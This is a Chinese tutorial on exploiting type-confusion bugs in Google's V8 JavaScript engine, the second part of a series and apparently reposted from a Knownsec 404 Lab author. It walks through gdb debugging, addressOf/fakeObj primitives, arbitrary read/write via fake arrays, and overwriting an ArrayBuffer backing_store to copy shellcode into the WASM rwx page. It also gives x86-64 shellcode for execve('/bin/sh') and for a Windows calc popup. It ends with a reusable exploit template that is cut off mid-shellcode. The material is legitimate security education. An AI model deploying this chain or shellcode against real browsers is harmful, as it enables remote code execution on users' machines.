0

0

从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)

雪夜

雪夜

发布时间:2025-07-11 10:14:21

|

1063人浏览过

|

来源于php中文网

原创

从 0 开始学 v8 漏洞利用之 v8 通用利用链(二)

作者:hcamael@知道创宇404实验室

相关阅读:从 0 开始学 V8 漏洞利用之环境搭建(一)经过一段时间的研究,先进行一波总结,不过因为刚开始研究没多久,也许有一些局限性,以后如果发现了,再进行修正。

概述

‍我认为,在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目,大部分情况下,目标都是执行system(/bin/sh)或者execve(/bin/sh,0,0)

在v8利用上,我觉得也有一个明确的目标,就是执行任意shellcode。当有了这个目标后,下一步就是思考,怎么写shellcode呢?那么就需要有写内存相关的洞,能写到可读可写可执行的内存段,最好是能任意地址写。配套的还需要有任意读,因为需要知道rwx内存段的地址。就算没有任意读,也需要有办法能把改地址泄漏出来(V8的binary保护基本是全开的)。接下来就是需要能控制RIP,能让RIP跳转到shellcode的内存段。

接下来将会根据该逻辑来反向总结一波v8的利用过程。

调试V8程序

在总结v8的利用之前,先简单说说v8的调试。

1.把该文件v8/tools/gdbinit,加入到~/.gdbinit中:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ cp v8/tools/gdbinit gdbinit_v8$ cat ~/.gdbinitsource /home/ubuntu/pwndbg/gdbinit.pysource /home/ubuntu/gdbinit_v8</code>

2.使用%DebugPrint(x);来输出变量x的相关信息

3.使用%SystemBreak();来抛出int3,以便让gdb进行调试

示例代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ cat test.jsa = [1];%DebugPrint(a);%SystemBreak();</code>

如果直接使用d8运行,会报错:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ ./d8 test.jstest.js:2: SyntaxError: Unexpected token '%'%DebugPrint(a);^SyntaxError: Unexpected token '%'</code>

因为正常情况下,js是没有%这种语法的,需要加入--allow-natives-syntax参数:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ ./d8 --allow-natives-syntax test.jsDebugPrint: 0x37640804965d: [JSArray] - map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x3764081cc139 <JSArray[0]> - elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)] - length: 1 - properties: 0x37640800222d <FixedArray[0]> - All own properties (excluding elements): {    0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x3764081d30d1 <FixedArray[1]> {           0: 1 }0x376408203a41: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x3764080023b5 <undefined> - prototype_validity cell: 0x376408142405 <Cell value= 1> - instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]> - transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:     0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype: 0x3764081cc139 <JSArray[0]> - constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)> - dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0[1]    35375 trace trap  ./d8 --allow-natives-syntax test.js</code>

接下来试试使用gdb来调试该程序:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ gdb d8pwndbg> r --allow-natives-syntax test.js[New Thread 0x7f6643a61700 (LWP 35431)][New Thread 0x7f6643260700 (LWP 35432)][New Thread 0x7f6642a5f700 (LWP 35433)][New Thread 0x7f664225e700 (LWP 35434)][New Thread 0x7f6641a5d700 (LWP 35435)][New Thread 0x7f664125c700 (LWP 35436)][New Thread 0x7f6640a5b700 (LWP 35437)]DebugPrint: 0x3a0c08049685: [JSArray] - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x3a0c081cc139 <JSArray[0]> - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)] - length: 1 - properties: 0x3a0c0800222d <FixedArray[0]> - All own properties (excluding elements): {    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x3a0c081d30d1 <FixedArray[1]> {           0: 1 }0x3a0c08203a41: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x3a0c080023b5 <undefined> - prototype_validity cell: 0x3a0c08142405 <Cell value= 1> - instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]> - transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:     0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype: 0x3a0c081cc139 <JSArray[0]> - constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)> - dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0</code>

然后就能使用gdb命令来查看其内存布局了,另外在之前v8提供的gdbinit中,加入了一些辅助调试的命令,比如job,作用跟%DebufPrint差不多:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">pwndbg> job 0x3a0c080496850x3a0c08049685: [JSArray] - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x3a0c081cc139 <JSArray[0]> - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)] - length: 1 - properties: 0x3a0c0800222d <FixedArray[0]> - All own properties (excluding elements): {    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x3a0c081d30d1 <FixedArray[1]> {           0: 1 }</code>

不过使用job命令的时候,其地址要是其真实地址+1,也就是说,在上面的样例中,其真实地址为:0x3a0c08049684

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">pwndbg> x/4gx 0x3a0c08049685-10x3a0c08049684: 0x0800222d08203a41 0x00000002081d30d10x3a0c08049694: 0x0000000000000000 0x0000000000000000</code>

如果使用job命令,后面跟着的是其真实地址,会被解析成SMI(small integer)类型:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">pwndbg> job 0x3a0c08049685-1Smi: 0x4024b42 (67259202)</code>

0x4024b42 * 2 == 0x8049684 (SMI只有32bit)

对d8进行简单的调试只要知道这么多就够了。

WASM

现如今的浏览器基本都支持WASM,v8会专门生成一段rwx内存供WASM使用,这就给了我们利用的机会。

我们来调试看看:

测试代码:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ cat test.js%SystemBreak();var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();</code>

然后使用gdb进行调试,在第一个断点的时候,使用vmmap来查看一下内存段,这个时候内存中是不存在可读可写可执行的内存断的,我们让程序继续运行。

在第二个断点的时候,我们再运行一次vmmap来查看内存段:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">pwndbg> vmmap0x1aca69e92000     0x1aca69e93000 rwxp     1000 0      [anon_1aca69e92]</code>

因为WASM代码的创建,内存中出现可rwx的内存段。接下来的问题就是,我们怎么获取到改地址呢?

首先我们来看看变量f的信息:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">DebugPrint: 0x24c6081d3645: [Function] in OldSpace - map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)> - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i> - name: 0x24c6080051c5 <String[1]: #0> - builtin: GenericJSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x24c6081c3649 <NativeContext[256]> - code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper> - Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439> - Wasm function index: 0 - properties: 0x24c60800222d <FixedArray[0]> - All own properties (excluding elements): {    0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor    0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor    0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor    0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor } - feedback vector: feedback metadata is not available in SFI0x24c6082049e1: [Map] - type: JS_FUNCTION_TYPE - instance size: 28 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - callable - back pointer: 0x24c6080023b5 <undefined> - prototype_validity cell: 0x24c608142405 <Cell value= 1> - instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]> - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)> - constructor: 0x24c608002235 <null> - dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0</code>

可以发现这是一个函数对象,我们来查看一下fshared_info结构的信息:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript"> - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>pwndbg> job 0x24c6081d36210x24c6081d3621: [SharedFunctionInfo] in OldSpace - map: 0x24c6080025f9 <Map[36]> - name: 0x24c6080051c5 <String[1]: #0> - kind: NormalFunction - syntax kind: AnonymousExpression - function_map_index: 185 - formal_parameter_count: 0 - expected_nof_properties: - language_mode: sloppy - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)> - code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper> - script: 0x24c6081d3491 <Script> - function token position: 88 - start position: 88 - end position: 92 - no debug info - scope info: 0x24c608002739 <ScopeInfo> - length: 0 - feedback_metadata: <none></code>

接下里再查看其data结构:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript"> - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>pwndbg> job 0x24c6081d35f50x24c6081d35f5: [WasmExportedFunctionData] in OldSpace - map: 0x24c608002e7d <Map[44]> - target: 0x1aca69e92000 - ref: 0x24c6081d3509 <Instance map = 0x24c608207439> - wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper> - instance: 0x24c6081d3509 <Instance map = 0x24c608207439> - function_index: 0 - signature: 0x24c608049bd1 <Foreign> - wrapper_budget: 1000</code>

在查看instance结构:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript"> - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>pwndbg> job 0x24c6081d35090x24c6081d3509: [WasmInstanceObject] in OldSpace - map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x24c608048259 <Object map = 0x24c6082079b1> - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1> - exports_object: 0x24c608049b99 <Object map = 0x24c608207a79> - native_context: 0x24c6081c3649 <NativeContext[256]> - memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1> - table 0: 0x24c608049b69 <Table map = 0x24c608207551> - imported_function_refs: 0x24c60800222d <FixedArray[0]> - indirect_function_table_refs: 0x24c60800222d <FixedArray[0]> - managed_native_allocations: 0x24c608049b21 <Foreign> - memory_start: 0x7f6e20000000 - memory_size: 65536 - memory_mask: ffff - imported_function_targets: 0x55a2eca392f0 - globals_start: (nil) - imported_mutable_globals: 0x55a2eca39310 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x24c60800222d <FixedArray[0]> - All own properties (excluding elements): {}</code>

仔细查看能发现,instance结构就是js代码中的wasmInstance变量的地址,在代码中我们加入了%DebugPrint(wasmInstance);,所以也会输出该结构的信息,可以去对照看看。

我们再来查看这个结构的内存布局:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">pwndbg> x/16gx 0x24c6081d3509-10x24c6081d3508: 0x0800222d08207439 0x200000000800222d0x24c6081d3518: 0x0001000000007f6e 0x0000ffff000000000x24c6081d3528: 0xeca1448000000000 0x0800222d000055a20x24c6081d3538: 0x000055a2eca392f0 0x000000000800222d0x24c6081d3548: 0x0000000000000000 0x00000000000000000x24c6081d3558: 0x0000000000000000 0x000055a2eca393100x24c6081d3568: 0x000055a2eca14420 0x00001aca69e92000</code>

仔细看,能发现,rwx段的起始地址储存在instance+0x68的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写exp的时候通过上述调试的方式进行查找。

根据WASM的特性,我们的目的可以更细化了,现在我们的目的变为了把shellcode写到WASM的代码段,然后执行WASM函数,那么就能执行shellcode了。

任意读写

最近我研究的几个V8的漏洞,任意读写都是使用的一个套路,目前我是觉得这个套路很通用的,感觉V8相关的利用都是用这类套路。(不过我学的时间短,这块的眼界也相对短浅,以后可能会遇到其他情况)

首先来看看JavaScript的两种类型的变量的结构:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ cat test.jsa = [2.1];b = {"a": 1};c = [b];%DebugPrint(a);%DebugPrint(b);%DebugPrint(c);%SystemBreak();</code>

首先是变量a的结构:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">DebugPrint: 0xe07080496d1: [JSArray] - map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x0e07081cc139 <JSArray[0]> - elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x0e070800222d <FixedArray[0]> - All own properties (excluding elements): {    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x0e07080496c1 <FixedDoubleArray[1]> {           0: 2.1 }pwndbg> job 0x0e07080496c10xe07080496c1: [FixedDoubleArray] - map: 0x0e0708002a95 <Map> - length: 1           0: 2.1pwndbg> x/8gx 0xe07080496d1-10xe07080496d0:  0x0800222d08203ae1 0x00000002080496c10xe07080496e0:  0x0800222d08207961 0x000000020800222d0xe07080496f0:  0x0001000108005c31 0x080021f9000000000xe0708049700:  0x0000008808007aad 0x0800220500000002pwndbg> x/8gx 0x0e07080496c1-10xe07080496c0:  0x0000000208002a95 0x4000cccccccccccd0xe07080496d0:  0x0800222d08203ae1 0x00000002080496c10xe07080496e0:  0x0800222d08207961 0x000000020800222d0xe07080496f0:  0x0001000108005c31 0x080021f900000000</code>

变量a的结构如下:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|</code>

因为在当前版本的v8中,对地址进行了压缩,因为高32bit地址的值是一样的,所以只需要保存低32bit的地址就行了。

elements结构保存了数组的值,结构为:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">| 32 bit map addr | 32 bit length | value ......</code>

变量a结构中的length,表示的是当前数组的已经使用的长度,elements表示该数组已经申请的长度,申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍,为啥这么设计,暂时还没了解。

仔细研究上面的内存布局,能发现,elements结构之后是紧跟着变量a的结构。很多洞都是这个时候让变量a溢出,然后这样就可以读写其结构的map和length的值。

接下来在一起看看变量bc:

Axiom
Axiom

Axiom是一个浏览器扩展,用于自动化重复任务和web抓取。

下载
代码语言:javascript代码运行次数:0运行复制
<code class="javascript">变量c:DebugPrint: 0xe0708049719: [JSArray] - map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x0e07081cc139 <JSArray[0]> - elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x0e070800222d <FixedArray[0]> - All own properties (excluding elements): {    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x0e070804970d <FixedArray[1]> {           0: 0x0e07080496e1 <Object map = 0xe0708207961> }变量b:DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE] - map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x0e07081c4205 <Object map = 0xe07082021b9> - elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x0e070800222d <FixedArray[0]> - All own properties (excluding elements): {    0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object }pwndbg> job 0x0e070804970d0xe070804970d: [FixedArray] - map: 0x0e0708002205 <Map> - length: 1           0: 0x0e07080496e1 <Object map = 0xe0708207961>pwndbg> x/8gx 0xe0708049719-10xe0708049718:  0x0800222d08203b31 0x000000020804970d0xe0708049728:  0x0000000000000000 0x00000000000000000xe0708049738:  0x0000000000000000 0x00000000000000000xe0708049748:  0x0000000000000000 0x0000000000000000pwndbg> x/8gx 0x0e070804970d-10xe070804970c:  0x0000000208002205 0x08203b31080496e10xe070804971c:  0x0804970d0800222d 0x00000000000000020xe070804972c:  0x0000000000000000 0x00000000000000000xe070804973c:  0x0000000000000000 0x0000000000000000</code>

变量c的结构和变量a的基本上是一样的,只是变量a储存的是double类型的变量,所以value都是64bit的,而变量c储存的是对象类型的变量,储存的是地址,也对地址进行了压缩,所以长度是32bit。

任意变量地址读

既然内存结构这么一致,那么使用a[0]或者c[0]取值的时候,js是怎么判断结构类型的呢?通过看代码,或者gdb实际测试都能发现,是根据变量结构的map值来确定的。

也就是说如果我把变量c的map地址改成变量a的,那么当我执行c[0]的时候,获取到的就是变量b的地址了。这样,就能达到任意变量地址读的效果,步骤如下:

1.把c[0]的值设置为你想获取地址的变量,比如c[0]=a;

2.然后通过漏洞,把c的map地址修改成a的map地址。

3.读取c[0]的值,该值就为变量a的低32bit地址。

在本文说的套路中,上述步骤被封装为addressOf函数。

该逻辑还达不到任意地址读的效果,所以还需要继续研究。

double to object

既然我们可以把对象数组变为浮点型数组,那么是不是也可以把浮点型数组变为对象数组,步骤如下:

1.把a[0]的值设置为自己构造的某个对象的地址还需要加1。

2.然后通过漏洞,把a的map地址修改成c的map地址。

3.获取a[0]的值

这个过程可以封装为fakeObj函数。

任意读

这个时候我们构造这样一个变量:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">var fake_array = [  double_array_map,  itof(0x4141414141414141n)];</code>

该变量的结构大致如下:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">| 32 bit elements map | 32 bit length | 64 bit double_array_map || 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties || 32 bit elements | 32 bit length|</code>

根据分析,理论上来说布局应该如上所示,但是会根据漏洞不通,导致堆布局不通,所以导致elements地址的不同,具体情况,可以写exp的时候根据通过调试来判断。

所以我可以使用addressOf获取fake_array地址:var fake_array_addr = addressOf(fake_array);

计算得到fake_object_addr = fake_array_addr - 0x10n;,然后使用fakeObj函数,得到你构造的对象:var fake_object = fakeObj(fake_object_addr);

这个时候不要去查看fake_object的内容,因为其length字段和elements字段都被设置为了无效值(0x41414141)。

这个时候我们就能通过fake_array数组来达到任意读的目的了,下面就是一个通用的任意读函数read64

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">function read64(addr){    fake_array[1] = itof(addr - 0x8n + 0x1n);    return fake_object[0];}</code>
任意写

同理,也能构造出任意写write64

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">function write64(addr, data){    fake_array[1] = itof(addr - 0x8n + 0x1n);    fake_object[0] = itof(data);}</code>

我们可以这么理解上述过程,fakeObj对象相当于把把浮点数数组变量a改成了二维浮点数数组:a = [[1.1]],而fake_array[1]值的内存区域属于fake_object对象的elementslength字段的位置,所以我们可以通过修改fake_array[1]的值,来控制fake_object,以达到任意读写的效果。

写shellcode

不过上述的任意写却没办法把我们的shellcode写到rwx区域,因为写入的地址=实际地址-0x8+0x1,前面还需要有8字节的map地址和length,而rwx区域根据我们调试的时候看到的内存布局,需要从该内存段的起始地址开始写,所以该地址-0x8+0x1是一个无效地址。

所以需要另辟蹊径,来看看下面的代码:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">$ cat test.jsvar data_buf = new ArrayBuffer(0x10);var data_view = new DataView(data_buf);data_view.setFloat64(0, 2.0, true);%DebugPrint(data_buf);%DebugPrint(data_view);%SystemBreak();</code>

首先看看data_buf变量的结构:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">DebugPrint: 0x2ead0804970d: [JSArrayBuffer] - map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299> - elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x555c12bb9050 - byte_length: 16 - detachable - properties: 0x2ead0800222d <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = {    0, aligned pointer: (nil)    0, aligned pointer: (nil) }</code>

再来看看backing_store字段的内存:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">pwndbg> x/8gx 0x555c12bb90500x555c12bb9050: 0x4000000000000000 0x00000000000000000x555c12bb9060: 0x0000000000000000 0x00000000000000410x555c12bb9070: 0x0000555c12bb9050 0x00000000000000100x555c12bb9080: 0x0000000000000010 0x00007ffd653318a8</code>

double型的2.0以十六进制表示就是0x4000000000000000,所以可以看出data_buf变量的值存储在一段连续的内存区域中,通过backing_store指针指向该内存区域。

所以我们可以利用该类型,通过修改backing_store字段的值为rwx内存地址,来达到写shellcode的目的。

看看backing_store字段在data_buf变量结构中的位置:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">pwndbg> x/16gx 0x2ead0804970d-10x2ead0804970c: 0x0800222d08203271 0x000000100800222d0x2ead0804971c: 0x0000000000000000 0x12bb9050000000000x2ead0804972c: 0x12bb90b00000555c 0x000000020000555c0x2ead0804973c: 0x0000000000000000 0x00000000000000000x2ead0804974c: 0x0800222d08202ca9 0x0804970d0800222d0x2ead0804975c: 0x0000000000000000 0x00000000000000100x2ead0804976c: 0x0000555c12bb9050 0x00000000000000000x2ead0804977c: 0x0000000000000000 0x0000000000000000</code>

发现backing_store的地址属于data_buf + 0x1C,这个偏移在不同版本的v8中也是有一些区别的,所以写exp的时候,可以根据上面的步骤来进行计算。

根据上述的思路,我们可以写出copy_shellcode_to_rwx函数:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">function copy_shellcode_to_rwx(shellcode, rwx_addr){  var data_buf = new ArrayBuffer(shellcode.length * 8);  var data_view = new DataView(data_buf);  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;  var lov = d2u(read64(buf_backing_store_addr_lo))[0];  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);  var hiv = d2u(read64(buf_backing_store_addr_up))[1];  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);  var buf_backing_store_addr = ftoi(u2d(lov, hiv));  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));  for (let i = 0; i < shellcode.length; ++i)    data_view.setFloat64(i * 8, itof(shellcode[i]), true);}</code>

利用

linux环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)的shellcode,就可以这样:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">var shellcode = [  0x2fbb485299583b6an,  0x5368732f6e69622fn,  0x050f5e5457525f54n];copy_shellcode_to_rwx(shellcode, rwx_page_addr);f();</code>

如果想执行windows的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">var shellcode = [    0xc0e8f0e48348fcn,    0x5152504151410000n,    0x528b4865d2314856n,    0x528b4818528b4860n,    0xb70f4850728b4820n,    0xc03148c9314d4a4an,    0x41202c027c613cacn,    0xede2c101410dc9c1n,    0x8b20528b48514152n,    0x88808bd001483c42n,    0x6774c08548000000n,    0x4418488b50d00148n,    0x56e3d0014920408bn,    0x4888348b41c9ff48n,    0xc03148c9314dd601n,    0xc101410dc9c141acn,    0x244c034cf175e038n,    0x4458d875d1394508n,    0x4166d0014924408bn,    0x491c408b44480c8bn,    0x14888048b41d001n,    0x5a595e58415841d0n,    0x83485a4159415841n,    0x4158e0ff524120ecn,    0xff57e9128b485a59n,    0x1ba485dffffn,    0x8d8d480000000000n,    0x8b31ba4100000101n,    0xa2b5f0bbd5ff876fn,    0xff9dbd95a6ba4156n,    0x7c063c28c48348d5n,    0x47bb0575e0fb800an,    0x894159006a6f7213n,    0x2e636c6163d5ffdan,    0x657865n,];copy_shellcode_to_rwx(shellcode, rwx_page_addr);f();</code>

其他

在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">var f64 = new Float64Array(1);var bigUint64 = new BigUint64Array(f64.buffer);var u32 = new Uint32Array(f64.buffer);function ftoi(f){  f64[0] = f;    return bigUint64[0];}function itof(i){    bigUint64[0] = i;    return f64[0];}function u2d(lo, hi) {  u32[0] = lo;  u32[1] = hi;  return f64[0];}function d2u(v) {  f64[0] = v;  return u32;}</code>

因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoiitof来进行浮点型和64bit的整数互相转换。

但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2dd2u两个,把浮点型和32bit整数进行互相转换的函数。

最后还有一个hex函数,就是方便我们查看值:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">function hex(i){    return i.toString(16).padStart(8, "0");}</code>

总结

目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:

代码语言:javascript代码运行次数:0运行复制
<code class="javascript">var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;var f64 = new Float64Array(1);var bigUint64 = new BigUint64Array(f64.buffer);var u32 = new Uint32Array(f64.buffer);function d2u(v) {  f64[0] = v;  return u32;}function u2d(lo, hi) {  u32[0] = lo;  u32[1] = hi;  return f64[0];}function ftoi(f){  f64[0] = f;    return bigUint64[0];}function itof(i){    bigUint64[0] = i;    return f64[0];}function hex(i){    return i.toString(16).padStart(8, "0");}function fakeObj(addr_to_fake){    ?}function addressOf(obj_to_leak){    ?}function read64(addr){    fake_array[1] = itof(addr - 0x8n + 0x1n);    return fake_object[0];}function write64(addr, data){    fake_array[1] = itof(addr - 0x8n + 0x1n);    fake_object[0] = itof(data);}function copy_shellcode_to_rwx(shellcode, rwx_addr){  var data_buf = new ArrayBuffer(shellcode.length * 8);  var data_view = new DataView(data_buf);  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;  var lov = d2u(read64(buf_backing_store_addr_lo))[0];  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);  var hiv = d2u(read64(buf_backing_store_addr_up))[1];  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);  var buf_backing_store_addr = ftoi(u2d(lov, hiv));  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));  for (let i = 0; i < shellcode.length; ++i)    data_view.setFloat64(i * 8, itof(shellcode[i]), true);}var double_array = [1.1];var obj = {"a" : 1};var obj_array = [obj];var array_map = ?;var obj_map = ?;var fake_array = [  array_map,  itof(0x4141414141414141n)];fake_array_addr = addressOf(fake_array);console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));fake_object_addr = fake_array_addr - 0x10n;var fake_object = fakeObj(fake_object_addr);var wasm_instance_addr = addressOf(wasmInstance);console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));var rwx_page_addr = read64(wasm_instance_addr + 0x68n);console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));var shellcode = [  0x2fbb485299583b6an,  0x5368732f6e69622fn,  